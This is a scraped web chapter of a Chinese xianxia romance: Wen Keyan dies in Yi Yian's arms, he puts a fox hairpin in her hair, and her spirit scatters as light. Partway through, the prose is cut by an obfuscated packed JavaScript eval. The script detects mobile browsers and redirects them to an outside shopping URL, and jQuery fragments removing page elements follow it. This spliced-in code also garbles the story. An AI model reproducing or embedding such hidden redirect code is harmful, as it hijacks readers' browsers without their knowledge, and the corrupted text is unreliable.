文可烟装作没听见似的,垂下视线,岔开话题:“羿逸安,我好讨厌……占有欲强的人,我好讨厌的,我好讨厌的……”
「不对,我对你的占有欲可强了,但你还是找其她人吧……」
文可烟在心里如是说道。
可就是这句从方起就一直盘旋在唇边、想表达出口的话,终究还是被文可烟生生隐去了前半句,只将后半句吐露了出来。
才刚解释了“占有欲”的含义,前半句那么昭然若揭的爱意,她怎么能够表达得出……
就算是弥留之际,她也没勇气。
就算是如此隐晦,她也无法坦诚言明。
明明……她早就想好了的。
两种方式。
若是她幸运活下来了,她便告诉羿逸安,她讨厌占有欲强的人,让他还是去找其她女子吧。
若是不幸殒命……
她便向羿逸安承认,其实自己的占有欲强得要命,并彻底劝退他,要求他去找其她女子。
可她真正想要表达的意思,明明是:羿逸安是她特别特别喜欢的人,特别特别爱的人,她根本不许他再爱上旁人。
可她有什么资格?
她不过是,杀害羿逸安娘亲的凶手之一。
……呵。
结果不都是一样的么?她在这儿瞎矫情什么?
活着,死了,不是都不能和他在一起么?
不都是让他去找别人么?
文可烟强撑着一口气,完整地说出下一句长长的话。
“真的是,最后一课了,羿逸安,爱是……放手。所以,你以后……一定会遇到那个不需要你放手的人。”
教得前言不搭后语,丝毫没有逻辑可言。
可言外之意,她尽是在说:
她爱他。她承认他的爱。她很爱很爱他,爱到可以违背自己的初衷。
文可烟终究没能说出正确的教学内容。
——爱是成全。
又是何来的成全?
掌心的血色早已将羿逸安的手与脸颊染得一片狼藉,斑驳不堪。
滚烫的眼泪混着温热的血,滚滚下落。
文可烟指尖动了动,可在即将覆上的那一瞬,又顿在了半空中。
下一息,她堪堪转过手背,用稍微干净一点儿的手背替羿逸安拭去眼泪。
可此刻,对于文可烟来说,早已是心有余而力不足。指节僵硬得不停使唤,动作缓慢得好似不似自己的手,笨拙又徒劳。非但没擦干净,反而将血与泪揉得更乱,更狼狈了。
而羿逸安只是紧紧捧着她的手,不住地摇头,眼泪却流得更凶,怎么也止不住。
这一刻,文可烟忽然有些痛恨自己。
痛恨自己为何要在他赶来之后才捏碎元神,痛恨自己为何不早一步发现归影剑的出现,痛恨自己为何要让他看见自己这般泥泞不堪的模样……
“唉……”
文可烟宠溺地唉叹一声,可声音零散缥缈。
“真的是,羿小……朋友啊……”
最后一字“啊”轻得如同叹息的余韵,飘飘忽忽,似乎在预示着什么。
羿逸安紧绷着全部心神,关注着文可烟脸上每一丝细微变化,连呼吸都下意识屏住了。
文可烟的手轻轻从羿逸安掌心抽离,在空中停了片刻,才缓缓抬起,好似手臂有千钧中。
她的动作那么慢,那么轻,像是郑重无比,可更多的,却是已然耗尽的虚弱。
手指终于触到发间,她抽出了素髻发间的九尾狐簪。
那支九尾狐簪,簪头似乎还残留着羿逸安昨日为她簪上时指尖的温度。
此刻握在手里,却是冰凉一片。
此刻的举动多么困难啊,仅是这一个动作,文可烟却是用了很久很久。
羿逸安一眼不眨地看着文可烟,不动,也不语。目光紧紧跟随着文可烟的每一个动作,她睫毛轻颤的频率,她唇角抿起的弧度,她因疼痛而微蹙的眉头。
只为将此刻文可烟的一切,每一分神情,都深深刻进心里,刻进魂魄里。
哪怕心已疼得缩成一团,哪怕眼泪控制不住地模糊了他的视线。
此刻羿逸安的模样,当真是个未满十岁的孩童。
文可烟终于摊开掌心。
那支盈盈光华的九尾狐簪,静静躺在血渍斑驳的掌心,沾染了属于文可烟的血色,却依旧美得惊心,美得……让人眼眶刺痛,发酸发涩。
羿逸安垂眸,看向那支被文可烟举在眼前的九尾狐簪。
天地之间,无风无声,他听见她说:
“羿小朋友。”
“再为我,簪一次发,可好?”
句子连贯得没有停顿,却也仅仅是气若游丝。
羿逸安喉结剧烈地滚动一下,难耐地从文可烟手中取过九尾狐簪,攥紧,攥紧,再攥紧。
她的手,冰冷得吓人。
此刻的文可烟仅是虚虚睁着眼睛,眸光已经不太能聚焦。
时间所剩无几,她却也只是静静地望着眼前之人,不催不闹,不哭却笑。
终于,羿逸安松开紧握的九尾狐簪,轻颤着举着那支簪子,缓缓地、一点一点地,插入文可烟如墨云般美丽,却了无头饰的乌发间。
簪子穿过发丝的触感,透过指尖传来。羿逸安记得昨日为文可烟簪发时,还有淡淡清香,如今萦绕不散的,却只有浓烈的血腥气。
簪好了。
一头那么美丽的乌发,却只簪了这一支孤零零的九尾狐簪。
那么素净,却又那么好看,好看到令羿逸安移不开眼,好看到令他心碎欲裂。
文可烟好似很满足,涣散的目光吃力地凝聚,落在羿逸安脸上,眼底竟透出了星微的光亮,像寒冬里最后一抹苍翠。
却也狠狠地灼痛的羿逸安的眼睛。
羿逸安却再也忍不得,哭得泣不成声,哭得浑身发颤,哭得全无上位者的威严,哭得……只是属于文可烟的羿小朋友。
“羿……小朋友。”
文可烟想要安慰羿逸安,声音却轻到如风尘,如呵出的气,却仍努力裹上一层撒娇般的语调。
“我终于……如愿以偿了。”
话语未落,文可烟自己却先鼻尖一酸,眼眶也跟着红了。
从始至终,从头到尾,自那个世界来到这里,所求的……似乎就是这一刻。
为的告别世界,为的心存死志,为的了却此生,不复再来。
可为什么,她这么不开心呢?
“羿,逸,安。”
每一个字都像是咬破了唇一般,艰涩吐出,很轻很轻。
文可烟停了停,无比眷恋地唤出:
“羿,小,朋,友……”
她望着羿逸安,苦涩地扯了一下嘴角,轻抬起了手,怎么能力都抵达不了想去的地方。
羿逸安,我好疼啊……
真的好疼好疼好疼……羿小朋友。
可手终是止在半空。
就在力竭垂落的前一瞬,羿逸安的脸忽然贴了过来。
可明明文可烟的手正碰着自己的脸颊,羿逸安却是什么感觉都没有。
比羽毛更轻,更空。
羽毛至少还能引起痒,可此刻却像是停留在感知之外。
了无感觉,一片死寂。
文可烟的嘴唇微微张着,似乎还想说些什么。
可最终的最终,她的手失了力道,彻彻底底,软软地垂落下来。
眼帘丁点力气也没有了,沉重地慢慢敛下,耷拉下来。
直到再也看不见一丝天光,那滴凝结了许久的水光再也承载不住,顺着眼角倏然滑落而下,没入鬓发之间,消失无踪,只留下一抹浅淡的湿痕。
也就此在羿逸安心上,划下永生无法愈合、狠狠的一迹。
而发间的九尾狐簪,在血色的映照下,银红交错,凄美又柔华。
那句含在唇边,却终未出口的,“羿逸安,我不想死了。”
终究随风消散,无影无踪。
羿逸安终究没能听见。
可羿逸安的声音却低低响起,随风追随,在这个只属于他们二人的寂静的私密空间里,嘶哑得令人心颤。
“好,我不会让你死的。”
久久地,羿逸安呆坐这个满是文可烟气息的空间里,眼中蓄的满是空洞。
那里却满满映着文可烟,阖着眼睛的文可烟,再无呼吸的文可烟,了无生机的文可烟,不会再教授他的文可烟……
时间过得格外格外慢,每一息都长得像是凌迟。可对于羿逸安来说,似乎又流逝得格外格外快,快到他抓不住文可烟最后一点温度。
“抱抱我……好不好?”
羿逸安用只有自己才能听见的气音,喃喃重复。
“文可烟,你抱抱我,好不好?”
可怀抱中的那点残存的温度,正一丝丝、一寸寸,无法挽回地消散……
羿逸安一副看似平静接受了空气中的沉默的模样,手臂却无措地紧紧抱着文可烟。
而那枚系在文可烟腰际的银铃,明明轻微撞击了一下,却发不出一丝声响。
羿逸安将脸缓缓地贴近文可烟,又轻又柔,只敢小心翼翼。
——“若是我爱一个人,便会只爱他一个,紧紧拉着他的手,死也不会放开。”
——“前、前提是得两情相悦啊!”
羿逸安不明白。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231817|184831||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
真的一点儿都不明白。
仅仅只是半月不到时间,他经历过了两次这般……
每一次都像是钝刀撞在他灵魂之上,敲击他,提醒他,撕扯他……
她放开了他的手,头也不回的走掉了……
她终是抛开了他。
她,根本,不爱他啊。
她松开了他的手……
羿逸安慌乱地找到文可烟的手,牵住,交扣,握紧。
可……
留不住的,终究留不住。
而是他的,终究会是他的。
浅淡的碧色光点,不知从何时起,星星点点地晕开在文可烟周身轮廓外。而属于羿逸安手中,握紧的那只覆满血色的手,也在开始渐渐变得虚无。
羿逸安指节回笼,越握越紧,可最后,掌心贴合相触的,只有他自己。
眼睁睁看着文可烟一点一点消失在眼前,他却再也流不出一滴泪,只是无望地盯着某点,看着这些流萤般的点点光华散在只属于他们两人的世界里。
随着时间一点一点地流逝,流光也逐渐附着在内壁上,越来越多,越来越密。
满满的,全都是。
将整片空间映照成一片柔和的碧色浅海。
像文可烟将羿逸安完整包围。
羿逸安抬起眼,注目着似乎很想出去的“文可烟”,终是低笑出声。
只是那笑虽轻,却实在凄凉,实在委屈,又实在落寞。
他垂下眼来,挥了挥手。
九尾无声消失,了无痕迹。
衣袍上除了那支九尾狐簪、狐狸吊坠、银铃,以及一块看得出脉络的琉璃叶碎片。
羿逸安怔怔地望着这几件物什,愣是不留半分眼风给旁物。
而上空,流光在九尾消失后,像点点星火一般,随风越散越远,越飘越小……
时间流逝,羿逸安眼尾弧度一动不动,连眼睫都不曾颤动,只有搭在膝上的手越攥越紧,指节嶙峋,青筋在手背上隐隐浮现。
就在那些流光即将飘出荒原边界、彻底消失的前一刻。
羿逸安还是没能忍住。
抬起眼,远远望了过去。
目光所及,那些光点并未如预想般。
流光一个接一个往荒原边缘飘着,却在同一个地方蓦地停住,再也不向前了。
羿逸安神色一顿,却在下一刻归于一片漠然。
他无声地勾起唇角,似乎也觉得自己荒谬。
这时候,竟还以为……
是她在舍不得,是她不肯走。
多可笑。
分明就是流光被困在无形的结界处,寻不住出处罢了。
羿逸安盯着那些徘徊不去的浅淡碧光,看了许久许久。久到风都静止,久到心口那阵尖锐的疼逐渐麻木。
终是抬手,指尖凌空一划。
那层专为文可烟设下的结界,在这一刻辉煌破碎。
彻底推翻以前自己从前所有坚持的羿逸安,背过身去,不再往那个方向抛去半分目光。
而那些浅淡流光反而在结界消失之后,在踏出结界边缘时齐齐一顿。
像是迟疑,又像是感受到了什么。
下一瞬,竟纷纷调转了方向,慢悠悠地飘回到羿逸安周身,绕了一圈,又一圈,直到将他玄色衣袂全铺上了一层浅光,才静止下来。
羿逸安低下头,看着附着在自己身上的柔光,属于最后文可烟的颜色。
他不由伸出了手虚虚拢起一捧。
身上的浅绿光芒越来越淡,越来越透明。那些流光似乎也懂得守规矩般,晃晃悠悠、不舍地彻底离开了魔界地域。
就在完全消散的那一刻,羿逸安忽然站起了身,不由自主地往前追随了几步。
虚拢的手心传来微微的痒。
羿逸安摊开手心,里面竟还藏着一颗光芒分外微弱的流光,留恋地在羿逸安肤面上停了又停,碰了又碰。
一下,又一下。
可离别,终会到来。
羿逸安看着那颗小小的流光,慢慢从自己的手心浮起。
离开一寸,一尺,一丈……
随着最后一颗流光穿过结界,那点星微光芒也不复存在。
文可烟彻底消散于风中……
虚空之中,似乎响起了她对羿逸安的回应。
——“你做这些……仅仅只是为了弥补?”
——“当然不是,弥补还造就不了我如此行径。”
可羿逸安,再也听不见了……
她也再没有机会说出口了……
而羿逸安独自立于原处,面无表情地望着最后一颗流光散尽的方向。
长久地……